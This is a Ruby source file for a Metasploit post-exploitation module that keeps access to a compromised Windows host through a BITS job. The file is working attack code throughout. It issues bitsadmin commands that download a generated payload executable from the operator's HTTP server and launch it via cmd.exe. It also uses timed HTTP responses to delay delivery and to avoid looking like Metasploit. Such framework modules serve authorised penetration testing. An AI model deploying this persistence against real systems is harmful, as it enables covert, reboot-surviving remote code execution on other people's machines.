Files
2026-04-14 17:16:54 +02:00

241 lines
10 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Persistence Bits Job',
'Description' => %q{
This module establishes persistence through a BITS job that
downloads and executes a payload. Background Intelligent Transfer Service
(BITS) is a Windows service for transferring files in the background
using idle network bandwidth. BITS jobs are persistent and will resume
across reboots until completed or cancelled.
BITS does not include a timing mechanism for when jobs are run, so we control that
in how we respond to the HTTP requests from the BITS client. This avoids needing
to set up an external trigger to start the job like a scheduled task or similar.
Similarily, BITS jobs are somewhat clock agnostic, so while we can set some
time parameters, the aren't a guarantee of when the job will actually run.
Jobs that we've idled via HTTP server response will have a "CONNECTING" status.
BITS is fickle about the HTTP responses it expects, so we have to be precise in
how the server responds. For a HEAD request we need to send back a correct
Content-Length header matching the payload size, but with no body. For GET requests
we need to handle byte range requests properly (althought not always used),
sending back the appropriate
Content-Range headers. If we respond incorrectly BITS may error out or retry
in unexpected ways. However, we can trick BITS into not getting the payload until
we want by responding to the GET requests with no body (aka how we responded to
the HEAD requests) until our delay time has reached.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Automatic', {} ]
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1197_BITS_JOBS],
['URL', 'https://pentestlab.blog/2019/10/30/persistence-bits-jobs/'],
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin'],
['URL', 'https://learn.microsoft.com/en-us/windows/win32/bits/life-cycle-of-a-bits-job'],
],
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Passive,
'Passive' => true,
'DisclosureDate' => '2001-10-01', # bits release date
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('JOB_NAME', [false, 'The name to use for the bits job provider. (Default: random)' ]),
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
# DELAY is a bit of a misnomer, as BITS jobs run when the system deems fit. So this is simply a light
# suggestion to the system
OptInt.new('DELAY', [false, 'Delay in seconds before callback.', 1.hours.to_i]),
OptInt.new('RETRY_DELAY', [false, 'Delay in seconds between retries.', 10.minutes.to_i]),
])
end
def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')
d
end
def http_response_head
# unfortunately if we include a content-length header like:
# return send_response(cli, generate_payload_exe, { 'Content-Length' => generate_payload_exe.bytesize })
# it gets overwritten to 0 by the http server if the body is empty, so we have to build and send our http server
# response to headers manually so they adhere to the spec close enough for BITS to accept it.
# You may also think that we can just send the full payload here, but BITS expects no body on HEAD requests and
# it starts acting differently, let alone this would be a tell that its MSF not a normal HTTP server.
response = create_response(200, 'OK', '1.0')
headers = [
# we want to send an arbitrarily low content length to prevent the server from doing Ranges.
# while there is code to handle that, I've yet to determine a method to delay it from getting
# the payload or going into an ERROR state and ceasing the job.
"Content-Length: 5\r\n",
# "Content-Length: #{@pload.bytesize}\r\n",
"Accept-Ranges: none\r\n",
"Last-Modified: #{Time.now.httpdate}"
]
response = response.to_s
response = response.sub('Content-Length: 0', headers.join)
response = response.sub("Content-Type: text/html\r\n", "Content-Type: application/vnd.microsoft.portable-executable\r\n")
response
end
def http_response_range(start_byte, end_byte)
payload_size = @pload.bytesize
if start_byte && end_byte
# normal range: bytes=100-200
chunk = @pload.byteslice(start_byte, end_byte - start_byte + 1)
elsif start_byte && !end_byte
# bytes=500- (from 500 to end)
chunk = @pload.byteslice(start_byte, payload_size - start_byte)
end_byte = payload_size - 1
elsif !start_byte && end_byte
# bytes=-100 (last 100 bytes)
chunk = @pload.byteslice(payload_size - end_byte, end_byte)
start_byte = payload_size - end_byte
end_byte = payload_size - 1
else
# fallback: send entire payload
chunk = @pload
start_byte = 0
end_byte = payload_size - 1
end
vprint_status("HTTP Server: Sending bytes #{start_byte}-#{end_byte} of #{payload_size} to BITS client")
headers = {
'Content-Type' => 'application/vnd.microsoft.portable-executable',
'Content-Range' => "bytes #{start_byte}-#{end_byte}/#{payload_size}"
}
response = create_response(206, 'Partial Content', '1.0')
response.body = chunk
response.headers.merge!(headers)
response.to_s
end
def on_request_uri(cli, request)
vprint_status("HTTP Server: #{request.method} #{request.uri} requested by #{request['User-Agent']} on #{cli.peerhost}")
unless request['User-Agent'].downcase.include?('bits')
vprint_error('HTTP Server: Non BITS client detected, sending 404')
return
end
unless %w[HEAD GET].include?(request.method)
vprint_error("HTTP Server: Ignoring #{request.method} request")
return
end
if request.method == 'HEAD'
vprint_good('HTTP Server: HEAD request received, sending response')
return cli.put(http_response_head)
end
# BITS may use byte ranges, so we need to parse that out and send back the appropriate data
if request.headers['Range'] =~ /bytes=(\d*)-(\d*)/
start_byte = Regexp.last_match(1).empty? ? nil : Regexp.last_match(1).to_i
end_byte = Regexp.last_match(2).empty? ? nil : Regexp.last_match(2).to_i
return cli.put(http_response_range(start_byte, end_byte))
end
if @start_time + datastore['DELAY'] > Time.now.to_i
message = "HTTP Server: Early BITS connection, waiting till #{Time.at(@start_time + datastore['DELAY']).strftime('%m/%d/%Y %H:%M:%S')} (#{(@start_time + datastore['DELAY']) - Time.now.to_i}s left), sending empty body back to force a retry"
vprint_status(message)
return cli.put(http_response_head)
end
vprint_status('HTTP Server: Sending full payload to BITS client')
return send_response(cli, @pload, { 'Content-Type' => 'application/vnd.microsoft.portable-executable' })
end
def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
Msf::Exploit::CheckCode::Vulnerable('Likely exploitable')
end
def install_persistence
@pload = generate_payload_exe
endpoint = Rex::Text.rand_text_alphanumeric(8..12)
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => "/#{endpoint}"
},
'ssl' => false
})
job_name = datastore['JOB_NAME'] || Rex::Text.rand_text_alphanumeric(8..12)
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alphanumeric(8..12)
payload_name += '.exe' unless payload_name.downcase.end_with?('.exe')
result = cmd_exec("bitsadmin /create \"#{job_name}\"")
id = begin
result.match(/Created job (\{[0-9A-Fa-f-]{36}\})\./)[0]
rescue StandardError
nil
end
fail_with(Failure::UnexpectedReply, 'Failed to create BITS job') unless id
print_good("Successfully created BITS job #{job_name} with ID #{id}")
@start_time = Time.now.to_i
cmd_list =
[
%(bitsadmin /addfile "#{job_name}" "http://#{srvhost_addr}:#{srvport}/#{endpoint}" "#{writable_dir}\\#{payload_name}"),
# this next line is a little complex. first we tell bits to complete the job which means after it's done transfering move the downloaded file from
# a temp file to its final location and delete the job. Then run our payload
%(bitsadmin /SetNotifyCmdLine "#{job_name}" "cmd.exe" "/c bitsadmin /complete \\\"#{job_name}\\\" && if exist \\\"#{writable_dir}\\#{payload_name}\\\" start /b \\\"\\\" \\\"#{writable_dir}\\#{payload_name}\\\"\""),
%(bitsadmin /SetMinRetryDelay "#{job_name}" #{datastore['RETRY_DELAY']}), # seconds
%(bitsadmin /setpriority "#{job_name}" high),
%(bitsadmin /setnoprogresstimeout "#{job_name}" 10), # seconds
%(bitsadmin /resume "#{job_name}")
]
cmd_list.each do |cmd|
vprint_status("Executing: #{cmd}")
result = cmd_exec(cmd)
vprint_line(" #{result.lines.last.chomp}") if result && !result.empty?
end
print_good("Persistence installed! Payload will be downloaded to #{writable_dir}\\#{payload_name} when the BITS job #{job_name} runs.")
@clean_up_rc << "bitsadmin /cancel \"#{id}\"\n"
@clean_up_rc << "rm \"#{(writable_dir + '\\' + payload_name).gsub('\\', '/')}\"\n" # just in case one did execute
end
end